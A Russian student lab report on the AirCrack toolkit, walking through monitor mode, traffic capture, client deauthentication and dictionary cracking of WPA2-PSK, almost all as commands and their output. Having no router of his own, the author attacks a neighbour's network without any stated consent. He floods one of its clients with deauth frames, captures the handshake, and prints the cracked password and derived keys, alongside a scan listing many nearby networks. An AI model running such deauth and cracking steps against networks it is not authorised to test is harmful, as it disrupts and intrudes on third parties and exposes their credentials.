Санкт-Петербургский Политехнический Университет Петра Великого
Институт компьютерных наук и технологий
Кафедра компьютерных систем и программных технологий

Методы и средства защиты информации

Отчет по лабораторной работе №4
Набор инструментов для аудита беспроводных сетей AirCrack

Работу выполнил:
Косолапов С.А.
Группа: 53501/3
Преподаватель:
Вылегжанина К.Д.

Санкт-Петербург
2016

Содержание

1 Цель работы **2**

2 Программа работы **2**
2.1 Изучение 2
2.2 Практическое задание 2

3 Изучение **2**
3.1 Изучить документацию по основным утилитам пакета – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng 2
3.2 Запустить режим мониторинга на беспроводном интерфейсе 2
3.3 Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать 3

4 Практическое задание **4**
4.1 Запустить режим мониторинга на беспроводном интерфейсе 4
4.2 Запустить сбор трафика для получения аутентификационных сообщений 5
4.3 Если аутентификаций в сети не происходит в разумный промежуток времени, произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений 5
4.4 Произвести взлом используя словарь паролей 7

5 Выводы **8**

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Программа работы

2.1 Изучение

1. Изучить документацию по основным утилитам пакета – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.
2. Запустить режим мониторинга на беспроводном интерфейсе
3. Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

2.2 Практическое задание

Проделать следующие действия по взлому WPA2 PSK сети (описание по ссылке "Руководство по взлому WPA"в материалах):

1. Запустить режим мониторинга на беспроводном интерфейсе
2. Запустить сбор трафика для получения аутентификационных сообщений
3. Если аутентификаций в сети не происходит в разумный промежуток времени, произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений
4. Произвести взлом используя словарь паролей

3 Изучение

3.1 Изучить документацию по основным утилитам пакета – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng

- **airmon-ng**

  – утилита для выставления различных карт в режим мониторинга.

- **airodump-ng**

  – утилита, позволяющая захватывать пакеты протокола 802.11.

- **aireplay-ng**

  – утилита для генерации трафика, необходимого для взлома утилитой aircrack-ng.

- **aircrack-ng**

  – утилита для взлома ключей WPA и WEP с помощью перебора по словарю.

3.2 Запустить режим мониторинга на беспроводном интерфейсе

```
[oglandx@oglandx lab]$ ifconfig
enp4s0: flags=67<UP,BROADCAST,RUNNING>  mtu 1500
        inet 10.145.74.96  netmask 255.255.255.0  broadcast 10.145.74.255
        inet6 fe80::198a:a332:44ca:d7ae  prefixlen 64  scopeid 0x20<link>
        ether 00:24:54:a7:a4:55  txqueuelen 1000  (Ethernet)
        RX packets 48310  bytes 26388845 (25.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19215  bytes 4218668 (4.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
```

```
        RX packets 4493  bytes 803689 (784.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4493  bytes 803689 (784.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlp2s0mon: flags=867<UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI>  mtu 1500
        unspec 78-E4-00-5D-1C-DE-00-1F-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 3517699  bytes 414781975 (395.5 MiB)
        RX errors 0  dropped 3412675  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[oglandx@oglandx lab]$ sudo airmon-ng start wlp2s0mon
[sudo] password for oglandx:

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  758 dhcpcd
 2536 dhcpcd

PHY Interface Driver     Chipset

phy0  wlp2s0mon ath9k    Qualcomm Atheros AR9285 Wireless Network Adapter (PCI-Express) (rev
    ↪ 01)

    (mac80211 monitor mode already enabled for [phy0]wlp2s0mon on [phy0]10)
```

3.3 Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

```
[oglandx@oglandx aircrack]$ airodump-ng --help

  Airodump-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe
  http://www.aircrack-ng.org

  usage: airodump-ng <options> <interface>[,<interface>,...]

  Options:
      --ivs                  : Save only captured IVs
      --gpsd                 : Use GPSd
      --write      <prefix>  : Dump file prefix
      -w                     : same as --write
      --beacons              : Record all beacons in dump file
      --update       <secs>  : Display update delay in seconds
      --showack              : Prints ack/cts/rts statistics
      -h                     : Hides known stations for --showack
      -f           <msecs>   : Time in ms between hopping channels
      --berlin       <secs>  : Time before removing the AP/client
                               from the screen when no more packets
                               are received (Default: 120 seconds)
      -r            <file>   : Read packets from that file
      -x           <msecs>   : Active Scanning Simulation
      --manufacturer         : Display manufacturer from IEEE OUI list
      --uptime               : Display AP Uptime from Beacon Timestamp
      --wps                  : Display WPS information (if any)
      --output-format
                   <formats> : Output format. Possible values:
                               pcap, ivs, csv, gps, kismet, netxml
      --ignore-negative-one  : Removes the message that says
                               fixed channel <interface>: -1
      --write-interval
                   <seconds> : Output file(s) write interval in seconds

  Filter options:
      --encrypt   <suite>    : Filter APs by cipher suite
      --netmask <netmask>    : Filter APs by mask
      --bssid     <bssid>    : Filter APs by BSSID
      --essid     <essid>    : Filter APs by ESSID
      -a                     : Filter unassociated clients

  By default, airodump-ng hop on 2.4GHz channels.
```

```
  You can make it capture on other/specific channel(s) by using:
      --channel <channels>   : Capture on specific channels
      --band <abg>           : Band on which airodump-ng should hop
      -C     <frequencies>   : Uses these frequencies in MHz to hop
      --cswitch  <method>    : Set channel switching method
                       0     : FIFO (default)
                       1     : Round Robin
                       2     : Hop on last
      -s                     : same as --cswitch

      --help                 : Displays this usage screen

[oglandx@oglandx aircrack]$
```

Сохранить дамп можно с помощью опции –write или -w.

Также нас интересует ключ output-format. Там указано, что формат выходного файла может быть: pcap, ivs, csv, gps, kismet, netxml.

Наиболее интересны pcap-файлы, потому что содержат всю перехваченную информацию. Открыть такие файлы можно, например, с помощью wireshark'a.

4 Практическое задание

4.1 Запустить режим мониторинга на беспроводном интерфейсе

```
[oglandx@oglandx lab]$ sudo airodump-ng wlp2s0mon

 CH 10 ][ Elapsed: 24 s ][ 2016-06-26 21:32

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:90:4C:C1:00:00  -88        0        0    0   1  54   WPA2 CCMP   PSK  412
 E0:3F:49:8A:44:30  -52       42       10    0   1  54e  WPA2 CCMP   PSK  <length:  7>
 14:D6:4D:B4:EB:8A  -62       42        2    0  11  54e. WEP  WEP         542
 C8:D7:19:F1:6F:2F  -64       27        1    0   1  54e  WPA2 CCMP   PSK  <length:  3>
 F8:C0:91:11:6C:8A  -66       49        2    0   9  54e  WPA2 CCMP   PSK  Rita
 C0:4A:00:BA:79:50  -67       31        0    0   6  54e. WPA2 CCMP   PSK  444
 BC:EE:7B:6B:A0:1C  -73       33      208    0   1  54e  WPA2 CCMP   PSK  446
 C0:4A:00:B1:92:A8  -72       15        1    0   9  54e. WPA2 CCMP   PSK  RiChBiTcH
 D8:50:E6:C8:24:F4  -73       15        0    0   4  54e  WPA2 CCMP   PSK  Alex
 28:C2:DD:0E:71:4B  -71       18        0    0   1  54e  WPA2 CCMP   PSK  Wifi
 F0:7D:68:3E:C1:61  -71       20      126    0   6  54   WPA2 CCMP   PSK  malina-mammamia
 C8:3A:35:0F:2A:60  -69       29        0    0   7  54e  WPA2 CCMP   PSK  448
 90:F6:52:8A:42:14  -74       30        0    0   6  54e. WPA2 CCMP   PSK  TP-LINK_8A4214
 B8:A3:86:12:6B:4C  -74       26        0    0   1  54e  WPA2 CCMP   PSK  LeXa
 60:E3:27:34:C6:04  -71       48        1    0   3  54e. WPA2 CCMP   PSK  543
 2C:AB:25:DB:43:D0  -74       23        0    0   1  54e  WPA2 CCMP   PSK  DiegoNet
 00:22:B0:4B:41:05  -74       18        0    0   2  54 . WPA2 CCMP   PSK  OMG
 60:E3:27:3E:60:26  -76       11        0    0  10  54e. WPA2 CCMP   PSK  CrazySquirrel
 28:28:5D:E1:08:90  -79       23        0    0   5  54e  WPA2 CCMP   PSK  Keenetic-2296
 FC:8B:97:8E:C9:2F  -75       14        1    0  12  54e  WPA2 CCMP   PSK  541r
 C0:4A:00:B9:79:8C  -78       14        0    0   1  54e. WPA2 CCMP   PSK  Sailorstars
 10:FE:ED:2A:15:88  -78       10        0    0   1  54e. WPA2 CCMP   PSK  Pan-Pan
 C0:4A:00:A2:30:DA  -77        7        0    0   1  54e. WPA2 CCMP   PSK  TP-LINK_A230DA
 84:C9:B2:06:B7:32  -78        2        0    0  11  54e  WPA2 CCMP   PSK  DIR-320NRU
 14:CC:20:BD:AA:54  -78       25        0    0  11  54e. WPA2 CCMP   PSK  i-twister
 E8:DE:27:C3:1B:74  -79       11        0    0   8  54e. WPA2 CCMP   PSK  room549
 F8:1A:67:70:2F:FC  -81       14        0    0   6  54e. WPA2 CCMP   PSK  room545
 EA:28:5D:B2:6B:60  -82        9        0    0   1  54e  WPA2 CCMP   PSK  Tanya_Vika
 00:26:5A:32:50:21  -81        2        0    0   6  54e. WPA2 TKIP   PSK  220rmoterfucker
 30:B5:C2:C8:E1:AA  -82        1        0    0   7  54e. WPA2 CCMP   PSK  Eto nasha to4ka
    ↪ bleat...
 A0:F3:C1:98:88:6C  -81       15        0    0   5  54e. WPA2 CCMP   PSK  Room_419
 D8:EB:97:20:0A:C9  -82       10       80    0   7  54e  WPA2 CCMP   PSK  mns.ru-0114
 C4:6E:1F:BC:76:BA  -80       17        0    0  11  54e. WPA2 CCMP   PSK  Black Bears hockey&
    ↪ cheerleading
 18:28:61:02:CF:21  -83        1        4    0   6  54e  WPA2 CCMP   PSK  AirTies_Air4340_cf21
 C0:4A:00:C8:62:10  -84        3        0    0   6  54e. WPA2 CCMP   PSK  TP-LINK_C86210
 30:B5:C2:65:2D:72  -81       16        0    0  11  54e. WPA2 CCMP   PSK  111-HP_Network_1
 C4:6E:1F:FD:3F:1E  -84        5        0    0   5  54e. WPA2 CCMP   PSK  TP-LINK_HONG&WEIRH

[oglandx@oglandx lab]$
```

Так как мой роутер был безжалостно уничтожен во время подключения нового провайдера, подопытными в данном случае выступят мои соседи (кто эти люди?) с MAC-адресом E0:3F:49:8A:44:30 и отсутствующим в публичном доступе имени сети.

4.2 Запустить сбор трафика для получения аутентификационных сообщений

```
[oglandx@oglandx lab]$ sudo airodump-ng wlp2s0mon --bssid E0:3F:49:8A:44:30

 CH 10 ][ Elapsed: 1 min ][ 2016-06-26 21:35

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 E0:3F:49:8A:44:30  -51       98       99    0   1  54e  WPA2 CCMP   PSK  <length:  7>

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 E0:3F:49:8A:44:30  00:03:AA:DF:5C:0D  -47    0e- 1       0       110

[oglandx@oglandx lab]$
```

4.3 Если аутентификаций в сети не происходит в разумный промежуток времени, произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений

```
[oglandx@oglandx lab]$ sudo aireplay-ng -0 100 --ignore-negative-one -a E0:3F:49:8A:44:30 -c
    ↪ 00:03:AA:DF:5C:0D wlp2s0mon
21:38:22  Waiting for beacon frame (BSSID: E0:3F:49:8A:44:30) on channel 1
21:38:23  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [24|40 ACKs]
21:38:23  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:38:24  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|55 ACKs]
21:38:24  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:25  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:38:25  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:38:26  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|34 ACKs]
21:38:26  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:38:27  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:38:27  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:38:28  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|51 ACKs]
21:38:29  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:38:29  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|49 ACKs]
21:38:30  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:38:30  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:38:31  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:31  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:32  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|40 ACKs]
21:38:32  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|42 ACKs]
21:38:33  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|41 ACKs]
21:38:33  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:38:34  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [29|52 ACKs]
21:38:35  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:38:35  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|51 ACKs]
21:38:36  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:36  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|35 ACKs]
21:38:37  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [56|45 ACKs]
21:38:37  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [66|49 ACKs]
21:38:38  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [63|42 ACKs]
21:38:38  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [63|46 ACKs]
21:38:39  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:38:39  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:40  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:38:41  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|54 ACKs]
21:38:41  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:42  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|52 ACKs]
21:38:42  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|41 ACKs]
21:38:43  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:43  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|49 ACKs]
21:38:44  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|48 ACKs]
21:38:44  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|48 ACKs]
21:38:45  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:45  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|48 ACKs]
```

```
21:38:46  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [18|47 ACKs]
21:38:47  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|40 ACKs]
21:38:47  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|39 ACKs]
21:38:48  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|31 ACKs]
21:38:48  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:38:49  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|33 ACKs]
21:38:50  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:38:50  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|40 ACKs]
21:38:51  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:38:51  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:38:52  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [18|47 ACKs]
21:38:53  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:53  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|42 ACKs]
21:38:54  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:38:54  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|39 ACKs]
21:38:55  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|45 ACKs]
21:38:56  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|49 ACKs]
21:38:56  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|32 ACKs]
21:38:57  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|52 ACKs]
21:38:57  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:58  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [14|51 ACKs]
21:38:58  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|43 ACKs]
21:38:59  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:39:00  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|34 ACKs]
21:39:00  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|42 ACKs]
21:39:01  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 1|61 ACKs]
21:39:01  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:39:02  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:39:02  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|49 ACKs]
21:39:03  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|54 ACKs]
21:39:04  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|50 ACKs]
21:39:04  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|55 ACKs]
21:39:05  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|52 ACKs]
21:39:05  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|53 ACKs]
21:39:06  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|53 ACKs]
21:39:06  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|54 ACKs]
21:39:07  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|47 ACKs]
21:39:07  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|52 ACKs]
21:39:08  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:39:09  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:39:09  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|46 ACKs]
21:39:10  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|44 ACKs]
21:39:10  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [12|43 ACKs]
21:39:11  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|42 ACKs]
21:39:11  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0|42 ACKs]
21:39:12  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 6 ACKs]
21:39:12  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [11| 7 ACKs]
21:39:13  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [65|42 ACKs]
21:39:13  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [62| 0 ACKs]
21:39:14  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [12| 0 ACKs]
21:39:14  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:15  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:15  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:16  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:17  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:17  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
21:39:18  Sending 64 directed DeAuth. STMAC: [00:03:AA:DF:5C:0D] [ 0| 0 ACKs]
[oglandx@oglandx lab]$
```

Как сначала был выбран нужный канал, а затем проведена деаутентификация.

После этого можем писать дамп, пока не найдём handshake.

```
[oglandx@oglandx lab]$ sudo airodump-ng --bssid E0:3F:49:8A:44:30 -c 1 --write airodump_dump
    ↪ --ignore-negative-one --output-format pcap wlp2s0mon
[sudo] password for oglandx:

 CH  1 ][ Elapsed: 1 min ][ 2016-06-26 21:39 ][ WPA handshake: E0:3F:49:8A:44:30

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 E0:3F:49:8A:44:30    0   0      425       44    0   1  54e  WPA2 CCMP   PSK  room546

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 E0:3F:49:8A:44:30  00:03:AA:DF:5C:0D    0    1e- 1e      0     12868

[oglandx@oglandx lab]$
```

4.4 Произвести взлом используя словарь паролей

```
[oglandx@oglandx lab]$ cat ../etc/dict
fhiwehfiwe
3fj9283j39
f2h39ifhu2i3
3jf9i23fj3
efjwoiejbt
wvj3ijvt9w
3vtwhtiuwhvtq
3vhqihtiuhq8
32hv8rh8
3v2h8urh8
3h854ybh459hy
ggrjg98erjger
wfjawfheisuf
fh4933h
helloworld
fhe9uew
password
jf91032g0i32
quake2016
f239fh923f
jf320ifj23f
unreal2018
fi203jf20if3
fh392fh923f
3fh29fh302
something2010
[oglandx@oglandx lab]$ ls
airodump_dump-01.cap
[oglandx@oglandx lab]$ sudo aircrack-ng airodump_dump-01.cap -w ../etc/dict
Opening airodump_dump-01.cap
Read 38885 packets.

   #  BSSID              ESSID                     Encryption

   1  E0:3F:49:8A:44:30  room546                   WPA (1 handshake)

Choosing first network as target.

Opening airodump_dump-01.cap
Reading packets, please wait...




                                Aircrack-ng 1.2 rc4

      [00:00:00] 4/25 keys tested (267.33 k/s)

      Time left: 0 seconds                                      16.00%

                            KEY FOUND! [ quake2016 ]


      Master Key     : 0F 91 45 EC CA 4B CF 29 81 AC A1 AC 5C EA CB 7F
                       DC 1D B8 64 2F 18 65 93 BE 04 5D 8C EE C6 E7 20

      Transient Key  : 2F 79 52 C8 8A F0 C8 8D D1 CF 73 29 5F 8A CC DE
                       AA F2 29 77 2D 40 F5 CE 4F B8 EB E4 11 BA DD 34
                       90 3A 9C 62 7A C1 63 28 50 6C D1 9A CB 89 C4 62
                       77 E7 B1 33 94 9C A7 3E A6 3F 70 2E 04 11 D5 AD

      EAPOL HMAC     : 1D AF 65 88 11 0C BA AF 9F DC 22 8D 3E 3D 8B 22
[oglandx@oglandx lab]$
```

Таким образом, у меня получилось подобрать пароль, используя словарь.

5 Выводы

Взломать беспроводную сеть с WPA/WPA2 PSK с помощью утилит, входящих в состав AirCrack, при условии, что есть словарь возможных комбинаций паролей, довольно просто. И главной проблемой взлома таких сетей является отсутствие словаря в произвольном случае. Перебор может занять "весьма существенное"время, и это не является хорошим вариантом для взлома защищённых сетей. С другой стороны, это в немалой мере гарантирует, что частная сеть не будет взломана злоумышленниками за малое время, при условии достаточно хорошо составленного или сгенерированного пароля, не входящего в словари.

Пакет AirCrack также позволяет прослушивать пакеты, создавать новые на их основе, производить деаутентификацию клиента сети и много других вещей, которые могут пригодиться при подготовке и проведении атаки.